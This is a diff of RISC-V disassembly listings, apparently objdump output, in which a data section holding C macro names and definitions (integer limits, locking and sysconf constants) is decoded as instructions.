-    4404:	2978                	fld	fa4,208(a0)
-    4406:	2820                	fld	fs0,80(s0)
-    4408:	7828                	flw	fa0,112(s0)
-    440a:	2d29                	jal	4a24 <__stack_size+0x4224>
-    440c:	5f3e                	lw	t5,236(sp)
-    440e:	69647473          	csrrci	s0,0x696,8
-    4412:	296e                	fld	fs2,216(sp)
-    4414:	4600                	lw	s0,8(a2)
-    4416:	4544                	lw	s1,12(a0)
-    4418:	4546                	lw	a0,80(sp)
-    441a:	2052                	fld	ft0,272(sp)
-    441c:	465f 4544 4546      	0x45464544465f
-    4422:	0052                	c.slli	zero,0x14
-    4424:	5f5f 4e49 5f54      	0x5f544e495f5f
-    442a:	454c                	lw	a1,12(a0)
-    442c:	5341                	li	t1,-16
-    442e:	3654                	fld	fa3,168(a2)
-    4430:	5f34                	lw	a3,120(a4)
-    4432:	54444957          	0x54444957
-    4436:	5f48                	lw	a0,60(a4)
-    4438:	205f 3436 5f00      	0x5f003436205f
-    443e:	755f 6e69 3674      	0x36746e69755f
-    4444:	5f34                	lw	a3,120(a4)
-    4446:	0074                	addi	a3,sp,12
-    4448:	465f 4944 4552      	0x45524944465f
-    444e:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    3866:	4152                	lw	sp,20(sp)
+    3868:	444e                	lw	s0,208(sp)
+    386a:	3834                	fld	fa3,112(s0)
+    386c:	535f 4545 2844      	0x28444545535f
+    3872:	7470                	flw	fa2,108(s0)
+    3874:	2972                	fld	fs2,280(sp)
+    3876:	2820                	fld	fs0,80(s0)
+    3878:	7028                	flw	fa0,96(s0)
+    387a:	7274                	flw	fa3,100(a2)
+    387c:	2d29                	jal	3e96 <__stack_size+0x3696>
+    387e:	5f3e                	lw	t5,236(sp)
+    3880:	656e                	flw	fa0,216(sp)
+    3882:	725f2e77          	0x725f2e77
+    3886:	6565                	lui	a0,0x19
+    3888:	746e                	flw	fs0,248(sp)
+    388a:	5f2e                	lw	t5,232(sp)
+    388c:	3472                	fld	fs0,312(sp)
+    388e:	2e38                	fld	fa4,88(a2)
+    3890:	735f 6565 2964      	0x29646565735f
+    3896:	4900                	lw	s0,16(a0)
+    3898:	544e                	lw	s0,240(sp)
+    389a:	465f 5341 3654      	0x36545341465f
+    38a0:	5f34                	lw	a3,120(a4)
+    38a2:	494d                	li	s2,19
+    38a4:	004e                	c.slli	zero,0x13
+    38a6:	5f5f 4c46 3354      	0x33544c465f5f
+    38ac:	5832                	lw	a6,44(sp)
+    38ae:	4d5f 4e49 315f      	0x315f4e494d5f
+    38b4:	5f30                	lw	a2,120(a4)
+    38b6:	5845                	li	a6,-15
+    38b8:	5f50                	lw	a2,60(a4)
+    38ba:	205f 2d28 3033      	0x30332d28205f
+    38c0:	5f002937          	lui	s2,0x5f002
+    38c4:	475f 554e 4c43      	0x4c43554e475f
+    38ca:	4b49                	li	s6,18
+    38cc:	5f45                	li	t5,-15
+    38ce:	5542                	lw	a0,48(sp)
+    38d0:	4c49                	li	s8,18
+    38d2:	4954                	lw	a3,20(a0)
+    38d4:	5f4e                	lw	t5,240(sp)
+    38d6:	454d                	li	a0,19
+    38d8:	434d                	li	t1,19
+    38da:	5950                	lw	a2,52(a0)
+    38dc:	3120                	fld	fs0,96(a0)
+    38de:	5f00                	lw	s0,56(a4)
+    38e0:	5f5f 6e69 5f74      	0x5f746e695f5f
+    38e6:	657a6973          	csrrsi	s2,0x657,20
+    38ea:	745f 685f 0020      	0x20685f745f
+    38f0:	5f5f 7973 5f6d      	0x5f6d79735f5f
+    38f6:	6564                	flw	fs1,76(a0)
+    38f8:	6166                	flw	ft2,88(sp)
+    38fa:	6c75                	lui	s8,0x1d
+    38fc:	2874                	fld	fa3,208(s0)
+    38fe:	2c6d7973          	csrrci	s2,0x2c6,26
+    3902:	6d69                	lui	s10,0x1a
+    3904:	6c70                	flw	fa2,92(s0)
+    3906:	762c                	flw	fa1,104(a2)
+    3908:	7265                	lui	tp,0xffff9
+    390a:	6469                	lui	s0,0x1a
+    390c:	2029                	jal	3916 <__stack_size+0x3116>
+    390e:	5f5f 7361 5f6d      	0x5f6d73615f5f
+    3914:	285f 2e22 7973      	0x79732e22285f
+    391a:	766d                	lui	a2,0xffffb
+    391c:	7265                	lui	tp,0xffff9
+    391e:	2220                	fld	fs0,64(a2)
+    3920:	2320                	fld	fs0,64(a4)
+    3922:	6d69                	lui	s10,0x1a
+    3924:	6c70                	flw	fa2,92(s0)
+    3926:	2220                	fld	fs0,64(a2)
+    3928:	202c                	fld	fa1,64(s0)
+    392a:	2022                	fld	ft0,8(sp)
+    392c:	6d797323          	0x6d797323
+    3930:	2220                	fld	fs0,64(a2)
+    3932:	4040                	lw	s0,4(s0)
+    3934:	2022                	fld	ft0,8(sp)
+    3936:	72657623          	0x72657623
+    393a:	6469                	lui	s0,0x1a
+    393c:	0029                	c.nop	10
+    393e:	495f 5f4e 4f50      	0x4f505f4e495f
+    3944:	5452                	lw	s0,52(sp)
+    3946:	545f 445f 4345      	0x4345445f545f
+    394c:	414c                	lw	a1,4(a0)
+    394e:	4552                	lw	a0,20(sp)
+    3950:	2044                	fld	fs1,128(s0)
+    3952:	4200                	lw	s0,0(a2)
+    3954:	43535f43          	fmadd.d	ft10,ft6,fs5,fs0,unknown
+    3958:	4c41                	li	s8,16
+    395a:	5f45                	li	t5,-15
+    395c:	414d                	li	sp,19
+    395e:	2058                	fld	fa4,128(s0)
+    3960:	3939                	jal	357e <__stack_size+0x2d7e>
+    3962:	5f00                	lw	s0,56(a4)
+    3964:	5f535953          	0x5f535953
+    3968:	4954                	lw	a3,20(a0)
+    396a:	454d                	li	a0,19
+    396c:	43455053          	0x43455053
+    3970:	485f 205f 5f00      	0x5f00205f485f
+    3976:	475f 4343 415f      	0x415f4343475f
+    397c:	4f54                	lw	a3,28(a4)
+    397e:	494d                	li	s2,19
+    3980:	4f4c5f43          	fmadd.q	ft10,fs8,fs4,fs1,unknown
+    3984:	474e                	lw	a4,208(sp)
+    3986:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    398c:	5246                	lw	tp,112(sp)
+    398e:	4545                	li	a0,17
+    3990:	3220                	fld	fs0,96(a2)
+    3992:	5f00                	lw	s0,56(a4)
+    3994:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    3998:	49445453          	0x49445453
+    399c:	544e                	lw	s0,240(sp)
+    399e:	485f 0020 5450      	0x54500020485f
+    39a4:	4452                	lw	s0,20(sp)
+    39a6:	4649                	li	a2,18
+    39a8:	5f46                	lw	t5,112(sp)
+    39aa:	414d                	li	sp,19
+    39ac:	2058                	fld	fa4,128(s0)
+    39ae:	5f5f 5450 4452      	0x445254505f5f
+    39b4:	4649                	li	a2,18
+    39b6:	5f46                	lw	t5,112(sp)
+    39b8:	414d                	li	sp,19
+    39ba:	5f58                	lw	a4,60(a4)
+    39bc:	005f 535f 5f43      	0x5f43535f005f
+    39c2:	4f58                	lw	a4,28(a4)
+    39c4:	4550                	lw	a2,12(a0)
+    39c6:	5f4e                	lw	t5,240(sp)
+    39c8:	4e45                	li	t3,17
+    39ca:	5f48                	lw	a0,60(a4)
+    39cc:	3149                	jal	364e <__stack_size+0x2e4e>
+    39ce:	4e38                	lw	a4,88(a2)
+    39d0:	3920                	fld	fs0,112(a0)
+    39d2:	57500037          	lui	zero,0x57500
+    39d6:	5f4d                	li	t5,-13
+    39d8:	30504d43          	fmadd.s	fs10,ft0,ft5,ft6,rmm
+    39dc:	3020                	fld	fs0,96(s0)
+    39de:	3278                	fld	fa4,224(a2)
+    39e0:	0030                	addi	a2,sp,8
+    39e2:	535f 5359 5f5f      	0x5f5f5359535f
+    39e8:	4f4c                	lw	a1,28(a4)
+    39ea:	454c4143          	0x454c4143
+    39ee:	485f 0020 4b5f      	0x4b5f0020485f
+    39f4:	5945                	li	s2,-15
+    39f6:	545f 445f 4345      	0x4345445f545f
+    39fc:	414c                	lw	a1,4(a0)
+    39fe:	4552                	lw	a0,20(sp)
+    3a00:	2044                	fld	fs1,128(s0)
+    3a02:	5f00                	lw	s0,56(a4)
+    3a04:	415f4353          	0x415f4353
+    3a08:	4f49                	li	t5,18
+    3a0a:	4c5f 5349 4954      	0x495453494c5f
+    3a10:	414d5f4f          	fnmadd.s	ft10,fs10,fs4,fs0,unknown
+    3a14:	2058                	fld	fa4,128(s0)
+    3a16:	5f003433          	0x5f003433
+    3a1a:	325f4353          	0x325f4353
+    3a1e:	535f 5f57 4544      	0x45445f57535f
+    3a24:	2056                	fld	ft0,336(sp)
+    3a26:	3131                	jal	3632 <__stack_size+0x2e32>
+    3a28:	0039                	c.nop	14
+    3a2a:	535f 5f43 454c      	0x454c5f43535f
+    3a30:	4556                	lw	a0,84(sp)
+    3a32:	314c                	fld	fa1,160(a0)
+    3a34:	445f 4143 4843      	0x48434143445f
+    3a3a:	5f45                	li	t5,-15
+    3a3c:	494c                	lw	a1,20(a0)
+    3a3e:	454e                	lw	a0,208(sp)
+    3a40:	455a4953          	0x455a4953
+    3a44:	3120                	fld	fs0,96(a0)
+    3a46:	4f003033          	0x4f003033
+    3a4a:	4e5f 464f 4c4f      	0x4c4f464f4e5f
+    3a50:	4f4c                	lw	a1,28(a4)
+    3a52:	465f2057          	0x465f2057
+    3a56:	4f4e                	lw	t5,208(sp)
+    3a58:	4f46                	lw	t5,80(sp)
+    3a5a:	4c4c                	lw	a1,28(s0)
+    3a5c:	5f00574f          	fnmadd.q	fa4,ft0,fa6,fa1,unknown
+    3a60:	635f 6d6f 6970      	0x69706d6f635f
+    3a66:	656c                	flw	fa1,76(a0)
+    3a68:	5f72                	lw	t5,60(sp)
+    3a6a:	656d                	lui	a0,0x1b
+    3a6c:	626d                	lui	tp,0x1b
+    3a6e:	7261                	lui	tp,0xffff8
+    3a70:	2928                	fld	fa0,80(a0)
+    3a72:	5f20                	lw	s0,120(a4)
+    3a74:	615f 6d73 5f20      	0x5f206d73615f
+    3a7a:	765f 6c6f 7461      	0x74616c6f765f
+    3a80:	6c69                	lui	s8,0x1a
+    3a82:	2865                	jal	3b3a <__stack_size+0x333a>
+    3a84:	2022                	fld	ft0,8(sp)
+    3a86:	2022                	fld	ft0,8(sp)
+    3a88:	203a                	fld	ft0,392(sp)
+    3a8a:	203a                	fld	ft0,392(sp)
+    3a8c:	203a                	fld	ft0,392(sp)
+    3a8e:	6d22                	flw	fs10,8(sp)
+    3a90:	6d65                	lui	s10,0x19
+    3a92:	2279726f          	jal	tp,9b4b8 <__stack_size+0x9acb8>
+    3a96:	0029                	c.nop	10
+    3a98:	4c5f 4249 5f43      	0x5f4342494c5f
+    3a9e:	494c                	lw	a1,20(a0)
+    3aa0:	494d                	li	s2,19
+    3aa2:	5354                	lw	a3,36(a4)
+    3aa4:	485f 205f 0031      	0x31205f485f
+    3aaa:	535f 5f43 4150      	0x41505f43535f
+    3ab0:	49534547          	fmsub.s	fa0,ft6,fs5,fs1,rmm
+    3ab4:	455a                	lw	a0,148(sp)
+    3ab6:	3820                	fld	fs0,112(s0)
+    3ab8:	5f00                	lw	s0,56(a4)
+    3aba:	535f 4956 5f44      	0x5f444956535f
+    3ac0:	4956                	lw	s2,84(sp)
+    3ac2:	4c424953          	0x4c424953
+    3ac6:	2045                	jal	3b66 <__stack_size+0x3366>
+    3ac8:	0031                	c.nop	12
+    3aca:	4f5a                	lw	t5,148(sp)
+    3acc:	454e                	lw	a0,208(sp)
+    3ace:	5f31                	li	t5,-20
+    3ad0:	454d                	li	a0,19
+    3ad2:	47415353          	0x47415353
+    3ad6:	5f45                	li	t5,-15
+    3ad8:	4148                	lw	a0,4(a0)
+    3ada:	444e                	lw	s0,208(sp)
+    3adc:	494c                	lw	a1,20(a0)
+    3ade:	474e                	lw	a4,208(sp)
+    3ae0:	485f 205f 5f00      	0x5f00205f485f
+    3ae6:	4649                	li	a2,18
+    3ae8:	4c42                	lw	s8,16(sp)
+    3aea:	3030204b          	fnmsub.s	ft0,ft0,ft3,ft6,rdn
+    3aee:	3036                	fld	ft0,360(sp)
+    3af0:	3030                	fld	fa2,96(s0)
+    3af2:	0030                	addi	a2,sp,8
+    3af4:	535f 5359 465f      	0x465f5359535f
+    3afa:	4c544e43          	0x4c544e43
+    3afe:	485f 205f 5f00      	0x5f00205f485f
+    3b04:	545f4353          	0x545f4353
+    3b08:	5248                	lw	a0,36(a2)
+    3b0a:	4145                	li	sp,17
+    3b0c:	5f44                	lw	s1,60(a4)
+    3b0e:	5441                	li	s0,-16
+    3b10:	5254                	lw	a3,36(a2)
+    3b12:	535f 4154 4b43      	0x4b434154535f
+    3b18:	455a4953          	0x455a4953
+    3b1c:	3420                	fld	fs0,104(s0)
+    3b1e:	0034                	addi	a3,sp,8
+    3b20:	535f 5f43 4954      	0x49545f43535f
+    3b26:	454d                	li	a0,19
+    3b28:	5354554f          	fnmadd.d	fa0,fs0,fs5,fa0,unknown
+    3b2c:	3820                	fld	fs0,112(s0)
+    3b2e:	0032                	c.slli	zero,0xc
+    3b30:	5f5f 746e 686f      	0x686f746e5f5f
+    3b36:	286c                	fld	fa1,208(s0)
+    3b38:	785f 2029 5f5f      	0x5f5f2029785f
+    3b3e:	7362                	flw	ft6,56(sp)
+    3b40:	33706177          	0x33706177
+    3b44:	2832                	fld	fa6,264(sp)
+    3b46:	785f 0029 535f      	0x535f0029785f
+    3b4c:	54545f43          	0x54545f43
+    3b50:	5f59                	li	t5,-10
+    3b52:	414e                	lw	sp,208(sp)
+    3b54:	454d                	li	a0,19
+    3b56:	4d5f 5841 3420      	0x342058414d5f
+    3b5c:	0031                	c.nop	12
+    3b5e:	535f 5359 545f      	0x545f5359535f
+    3b64:	5059                	c.li	zero,-10
+    3b66:	5345                	li	t1,-15
+    3b68:	485f 0020 4146      	0x41460020485f
+    3b6e:	5050                	lw	a2,36(s0)
+    3b70:	4e45                	li	t3,17
+    3b72:	2044                	fld	fs1,128(s0)
+    3b74:	465f 5041 4550      	0x45505041465f
+    3b7a:	444e                	lw	s0,208(sp)
+    3b7c:	5f00                	lw	s0,56(a4)
+    3b7e:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
+    3b82:	41484357          	0x41484357
+    3b86:	5f52                	lw	t5,52(sp)
+    3b88:	2054                	fld	fa3,128(s0)
+    3b8a:	5f00                	lw	s0,56(a4)
+    3b8c:	41484357          	0x41484357
+    3b90:	5f52                	lw	t5,52(sp)
+    3b92:	5f54                	lw	a3,60(a4)
+    3b94:	4544                	lw	s1,12(a0)
+    3b96:	4946                	lw	s2,80(sp)
+    3b98:	454e                	lw	a0,208(sp)
+    3b9a:	5f44                	lw	s1,60(a4)
+    3b9c:	0020                	addi	s0,sp,8
+    3b9e:	5f5f 4f4c 4b43      	0x4b434f4c5f5f
+    3ba4:	495f 494e 2854      	0x2854494e495f
+    3baa:	73616c63          	bltu	sp,s6,42e2 <__stack_size+0x3ae2>
+    3bae:	6f6c2c73          	csrrs	s8,0x6f6,s8
+    3bb2:	20296b63          	bltu	s2,sp,3dc8 <__stack_size+0x35c8>
+    3bb6:	74617473          	csrrci	s0,0x746,2
+    3bba:	6369                	lui	t1,0x1a
+    3bbc:	6920                	flw	fs0,80(a0)
+    3bbe:	746e                	flw	fs0,248(sp)
+    3bc0:	6c20                	flw	fs0,88(s0)
+    3bc2:	206b636f          	jal	t1,b9dc8 <__stack_size+0xb95c8>
+    3bc6:	203d                	jal	3bf4 <__stack_size+0x33f4>
+    3bc8:	3b30                	fld	fa2,112(a4)
+    3bca:	4700                	lw	s0,8(a4)
+    3bcc:	4950                	lw	a2,20(a0)
+    3bce:	41465f4f          	fnmadd.s	ft10,fa2,fs4,fs0,unknown
+    3bd2:	4c4c                	lw	a1,28(s0)
+    3bd4:	495f 2045 7830      	0x78302045495f
+    3bda:	3032                	fld	ft0,296(sp)
+    3bdc:	5f00                	lw	s0,56(a4)
+    3bde:	495f 544e 465f      	0x465f544e495f
+    3be4:	5341                	li	t1,-16
+    3be6:	3654                	fld	fa3,168(a2)
+    3be8:	5f34                	lw	a3,120(a4)
+    3bea:	54444957          	0x54444957
+    3bee:	5f48                	lw	a0,60(a4)
+    3bf0:	205f 3436 5500      	0x55003436205f
+    3bf6:	4f4c                	lw	a1,28(a4)
+    3bf8:	474e                	lw	a4,208(sp)
+    3bfa:	4d5f 5841 5f00      	0x5f0058414d5f
+    3c00:	6e5f 6565 5f64      	0x5f6465656e5f
+    3c06:	657a6973          	csrrsi	s2,0x657,20
+    3c0a:	745f 0020 535f      	0x535f0020745f
+    3c10:	5359                	li	t1,-10
+    3c12:	5f5f 4954 454d      	0x454d49545f5f
+    3c18:	43455053          	0x43455053
+    3c1c:	485f 205f 5f00      	0x5f00205f485f
+    3c22:	545f4353          	0x545f4353
+    3c26:	5248                	lw	a0,36(a2)
+    3c28:	4145                	li	sp,17
+    3c2a:	5f44                	lw	s1,60(a4)
+    3c2c:	43415453          	0x43415453
+    3c30:	494d5f4b          	fnmsub.s	ft10,fs10,fs4,fs1,unknown
+    3c34:	204e                	fld	ft0,208(sp)
+    3c36:	5f003933          	0x5f003933
+    3c3a:	435f 4148 5f52      	0x5f524148435f
+    3c40:	4e55                	li	t3,21
+    3c42:	4e474953          	0x4e474953
+    3c46:	4445                	li	s0,17
+    3c48:	5f5f 3120 5000      	0x500031205f5f
+    3c4e:	435f4d57          	0x435f4d57
+    3c52:	4746                	lw	a4,80(sp)
+    3c54:	435f 504d 4730      	0x4730504d435f
+    3c5a:	4e41                	li	t3,16
+    3c5c:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
+    3c60:	3130                	fld	fa2,96(a0)
+    3c62:	3030                	fld	fa2,96(s0)
+    3c64:	3030                	fld	fa2,96(s0)
+    3c66:	3030                	fld	fa2,96(s0)
+    3c68:	5f00                	lw	s0,56(a4)
+    3c6a:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    3c70:	494d                	li	s2,19
+    3c72:	5f4e                	lw	t5,240(sp)
+    3c74:	5845                	li	a6,-15
+    3c76:	5f50                	lw	a2,60(a4)
+    3c78:	205f 2d28 3631      	0x36312d28205f
+    3c7e:	29313833          	0x29313833
+    3c82:	5300                	lw	s0,32(a4)
+    3c84:	495f 4757 5052      	0x50524757495f
+    3c8a:	3020                	fld	fs0,96(s0)
+    3c8c:	3030                	fld	fa2,96(s0)
+    3c8e:	3030                	fld	fa2,96(s0)
+    3c90:	3032                	fld	ft0,296(sp)
+    3c92:	5f00                	lw	s0,56(a4)
+    3c94:	5342                	lw	t1,48(sp)
+    3c96:	5f44                	lw	s1,60(a4)
+    3c98:	41484357          	0x41484357
+    3c9c:	5f52                	lw	t5,52(sp)
+    3c9e:	5f54                	lw	a3,60(a4)
+    3ca0:	5f00                	lw	s0,56(a4)
+    3ca2:	535f 4843 5241      	0x52414843535f
+    3ca8:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3cae:	3020                	fld	fs0,96(s0)
+    3cb0:	3778                	fld	fa4,232(a4)
+    3cb2:	0066                	c.slli	zero,0x19
+    3cb4:	5f5f 4347 5f43      	0x5f4343475f5f
+    3cba:	4148                	lw	a0,4(a0)
+    3cbc:	4556                	lw	a0,84(sp)
+    3cbe:	445f 4157 4652      	0x46524157445f
+    3cc4:	5f32                	lw	t5,44(sp)
+    3cc6:	5f494643          	fmadd.q	fa2,fs2,fs4,fa1,rmm
+    3cca:	5341                	li	t1,-16
+    3ccc:	204d                	jal	3d6e <__stack_size+0x356e>
+    3cce:	0031                	c.nop	12
+    3cd0:	4e49                	li	t3,18
+    3cd2:	3154                	fld	fa3,160(a0)
+    3cd4:	5f36                	lw	t5,108(sp)
+    3cd6:	414d                	li	sp,19
+    3cd8:	2058                	fld	fa4,128(s0)
+    3cda:	5f5f 4e49 3154      	0x31544e495f5f
+    3ce0:	5f36                	lw	t5,108(sp)
+    3ce2:	414d                	li	sp,19
+    3ce4:	5f58                	lw	a4,60(a4)
+    3ce6:	005f 4843 5241      	0x52414843005f
+    3cec:	4d5f 5841 5520      	0x552058414d5f
+    3cf2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    3cf6:	4d5f 5841 5f00      	0x5f0058414d5f
+    3cfc:	535f 504e 2054      	0x2054504e535f
+    3d02:	7830                	flw	fa2,112(s0)
+    3d04:	3830                	fld	fa2,112(s0)
+    3d06:	3030                	fld	fa2,96(s0)
+    3d08:	5700                	lw	s0,40(a4)
+    3d0a:	4f5f 204b 0032      	0x32204b4f5f
+    3d10:	5f5f 656e 6465      	0x6465656e5f5f
+    3d16:	735f 7a69 5f65      	0x5f657a69735f
+    3d1c:	0074                	addi	a3,sp,12
+    3d1e:	5442                	lw	s0,48(sp)
+    3d20:	304e                	fld	ft0,240(sp)
+    3d22:	3120                	fld	fs0,96(a0)
+    3d24:	0035                	c.nop	13
+    3d26:	4f4c                	lw	a1,28(a4)
+    3d28:	555f4b43          	0x555f4b43
+    3d2c:	204e                	fld	ft0,208(sp)
+    3d2e:	7830                	flw	fa2,112(s0)
+    3d30:	3830                	fld	fa2,112(s0)
+    3d32:	7000                	flw	fs0,32(s0)
+    3d34:	696c                	flw	fa1,84(a0)
+    3d36:	6e695f63          	bge	s2,t1,4434 <__stack_size+0x3c34>
+    3d3a:	0074                	addi	a3,sp,12
+    3d3c:	5f5f 4e49 3154      	0x31544e495f5f
+    3d42:	5f36                	lw	t5,108(sp)
+    3d44:	414d                	li	sp,19
+    3d46:	5f58                	lw	a4,60(a4)
+    3d48:	205f 7830 6637      	0x66377830205f
+    3d4e:	6666                	flw	fa2,88(sp)
+    3d50:	5500                	lw	s0,40(a0)
+    3d52:	4e49                	li	t3,18
+    3d54:	5f54                	lw	a3,60(a4)
+    3d56:	4146                	lw	sp,80(sp)
+    3d58:	32335453          	0x32335453
+    3d5c:	4d5f 5841 5f20      	0x5f2058414d5f
+    3d62:	555f 4e49 5f54      	0x5f544e49555f
+    3d68:	4146                	lw	sp,80(sp)
+    3d6a:	32335453          	0x32335453
+    3d6e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3d74:	4600                	lw	s0,8(a2)
+    3d76:	4f4e                	lw	t5,208(sp)
+    3d78:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
+    3d7c:	5f20                	lw	s0,120(a4)
+    3d7e:	4e46                	lw	t3,80(sp)
+    3d80:	5454434f          	0x5454434f
+    3d84:	0059                	c.nop	22
+    3d86:	4e49                	li	t3,18
+    3d88:	5f54                	lw	a3,60(a4)
+    3d8a:	414d                	li	sp,19
+    3d8c:	2058                	fld	fa4,128(s0)
+    3d8e:	5f5f 4e49 5f54      	0x5f544e495f5f
+    3d94:	414d                	li	sp,19
+    3d96:	5f58                	lw	a4,60(a4)
+    3d98:	005f 5f5f 6f63      	0x6f635f5f005f
+    3d9e:	746e                	flw	fs0,248(sp)
+    3da0:	6961                	lui	s2,0x18
+    3da2:	656e                	flw	fa0,216(sp)
+    3da4:	6f72                	flw	ft10,28(sp)
+    3da6:	2866                	fld	fa6,88(sp)
+    3da8:	2c78                	fld	fa4,216(s0)
+    3daa:	296d2c73          	csrrs	s8,0x296,s10
+    3dae:	2820                	fld	fs0,80(s0)
+    3db0:	6f63207b          	0x6f63207b
+    3db4:	736e                	flw	ft6,248(sp)
+    3db6:	2074                	fld	fa3,192(s0)
+    3db8:	6f76                	flw	ft10,92(sp)
+    3dba:	616c                	flw	fa1,68(a0)
+    3dbc:	6974                	flw	fa3,84(a0)
+    3dbe:	656c                	flw	fa1,76(a0)
+    3dc0:	5f20                	lw	s0,120(a4)
+    3dc2:	745f 7079 6f65      	0x6f657079745f
+    3dc8:	2866                	fld	fa6,88(sp)
+    3dca:	2828                	fld	fa0,80(s0)
+    3dcc:	292a2073          	csrs	0x292,s4
+    3dd0:	2930                	fld	fa2,80(a0)
+    3dd2:	3e2d                	jal	390c <__stack_size+0x310c>
+    3dd4:	296d                	jal	428e <__stack_size+0x3a8e>
+    3dd6:	2a20                	fld	fs0,80(a2)
+    3dd8:	5f5f 2078 203d      	0x203d20785f5f
+    3dde:	7828                	flw	fa0,112(s0)
+    3de0:	3b29                	jal	3afa <__stack_size+0x32fa>
+    3de2:	5f20                	lw	s0,120(a4)
+    3de4:	445f 5145 4155      	0x41555145445f
+    3dea:	494c                	lw	a1,20(a0)
+    3dec:	5946                	lw	s2,112(sp)
+    3dee:	7328                	flw	fa0,96(a4)
+    3df0:	2a20                	fld	fs0,80(a2)
+    3df2:	202c                	fld	fa1,64(s0)
+    3df4:	6328                	flw	fa0,64(a4)
+    3df6:	74736e6f          	jal	t3,3ad3c <__stack_size+0x3a53c>
+    3dfa:	7620                	flw	fs0,104(a2)
+    3dfc:	74616c6f          	jal	s8,1a542 <__stack_size+0x19d42>
+    3e00:	6c69                	lui	s8,0x1a
+    3e02:	2065                	jal	3eaa <__stack_size+0x36aa>
+    3e04:	72616863          	bltu	sp,t1,4534 <__stack_size+0x3d34>
+    3e08:	2a20                	fld	fs0,80(a2)
+    3e0a:	5f29                	li	t5,-22
+    3e0c:	785f 2d20 5f20      	0x5f202d20785f
+    3e12:	6f5f 6666 6573      	0x657366666f5f
+    3e18:	6f74                	flw	fa3,92(a4)
+    3e1a:	2866                	fld	fa6,88(sp)
+    3e1c:	6d202c73          	csrr	s8,0x6d2
+    3e20:	2929                	jal	423a <__stack_size+0x3a3a>
+    3e22:	00297d3b          	0x297d3b
+    3e26:	4e49                	li	t3,18
+    3e28:	5f54                	lw	a3,60(a4)
+    3e2a:	454c                	lw	a1,12(a0)
+    3e2c:	5341                	li	t1,-16
+    3e2e:	3354                	fld	fa3,160(a4)
+    3e30:	5f32                	lw	t5,44(sp)
+    3e32:	414d                	li	sp,19
+    3e34:	2058                	fld	fa4,128(s0)
+    3e36:	5f5f 4e49 5f54      	0x5f544e495f5f
+    3e3c:	454c                	lw	a1,12(a0)
+    3e3e:	5341                	li	t1,-16
+    3e40:	3354                	fld	fa3,160(a4)
+    3e42:	5f32                	lw	t5,44(sp)
+    3e44:	414d                	li	sp,19
+    3e46:	5f58                	lw	a4,60(a4)
+    3e48:	005f 5845 5250      	0x52505845005f
+    3e4e:	4e5f 5345 5f54      	0x5f5453454e5f
+    3e54:	414d                	li	sp,19
+    3e56:	2058                	fld	fa4,128(s0)
+    3e58:	54003233          	0x54003233
+    3e5c:	4d49                	li	s10,18
+    3e5e:	5645                	li	a2,-15
+    3e60:	4c41                	li	s8,16
+    3e62:	545f 5f4f 4954      	0x49545f4f545f
+    3e68:	454d                	li	a0,19
+    3e6a:	43455053          	0x43455053
+    3e6e:	7428                	flw	fa0,104(s0)
+    3e70:	2c76                	fld	fs8,344(sp)
+    3e72:	7374                	flw	fa3,100(a4)
+    3e74:	2029                	jal	3e7e <__stack_size+0x367e>
+    3e76:	6f64                	flw	fs1,92(a4)
+    3e78:	7b20                	flw	fs0,112(a4)
+    3e7a:	2820                	fld	fs0,80(s0)
+    3e7c:	7374                	flw	fa3,100(a4)
+    3e7e:	2d29                	jal	4498 <__stack_size+0x3c98>
+    3e80:	743e                	flw	fs0,236(sp)
+    3e82:	5f76                	lw	t5,124(sp)
+    3e84:	20636573          	csrrsi	a0,0x206,6
+    3e88:	203d                	jal	3eb6 <__stack_size+0x36b6>
+    3e8a:	7428                	flw	fa0,104(s0)
+    3e8c:	2976                	fld	fs2,344(sp)
+    3e8e:	3e2d                	jal	39c8 <__stack_size+0x31c8>
+    3e90:	7674                	flw	fa3,108(a2)
+    3e92:	735f 6365 203b      	0x203b6365735f
+    3e98:	7428                	flw	fa0,104(s0)
+    3e9a:	3e2d2973          	csrrs	s2,0x3e2,s10
+    3e9e:	7674                	flw	fa3,108(a2)
+    3ea0:	6e5f 6573 2063      	0x206365736e5f
+    3ea6:	203d                	jal	3ed4 <__stack_size+0x36d4>
+    3ea8:	7428                	flw	fa0,104(s0)
+    3eaa:	2976                	fld	fs2,344(sp)
+    3eac:	3e2d                	jal	39e6 <__stack_size+0x31e6>
+    3eae:	7674                	flw	fa3,108(a2)
+    3eb0:	755f 6573 2063      	0x20636573755f
+    3eb6:	202a                	fld	ft0,136(sp)
+    3eb8:	3031                	jal	36c4 <__stack_size+0x2ec4>
+    3eba:	3030                	fld	fa2,96(s0)
+    3ebc:	207d203b          	0x207d203b
+    3ec0:	6c696877          	0x6c696877
+    3ec4:	2065                	jal	3f6c <__stack_size+0x376c>
+    3ec6:	3028                	fld	fa0,96(s0)
+    3ec8:	0029                	c.nop	10
+    3eca:	5f5f 4c46 5f54      	0x5f544c465f5f
+    3ed0:	4148                	lw	a0,4(a0)
+    3ed2:	55515f53          	0x55515f53
+    3ed6:	4549                	li	a0,18
+    3ed8:	5f54                	lw	a3,60(a4)
+    3eda:	414e                	lw	sp,208(sp)
+    3edc:	5f4e                	lw	t5,240(sp)
+    3ede:	205f 0031 535f      	0x535f0031205f
+    3ee4:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    3ee8:	4250                	lw	a2,4(a2)
+    3eea:	48435f53          	0x48435f53
+    3eee:	4345                	li	t1,17
+    3ef0:	494f504b          	fnmsub.s	ft0,ft10,fs4,fs1,unknown
+    3ef4:	544e                	lw	s0,240(sp)
+    3ef6:	3120                	fld	fs0,96(a0)
+    3ef8:	3531                	jal	3d04 <__stack_size+0x3504>
+    3efa:	5f00                	lw	s0,56(a4)
+    3efc:	4544                	lw	s1,12(a0)
+    3efe:	5f56                	lw	t5,116(sp)
+    3f00:	5f54                	lw	a3,60(a4)
+    3f02:	4544                	lw	s1,12(a0)
+    3f04:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    3f08:	4445                	li	s0,17
+    3f0a:	0020                	addi	s0,sp,8
+    3f0c:	4955                	li	s2,21
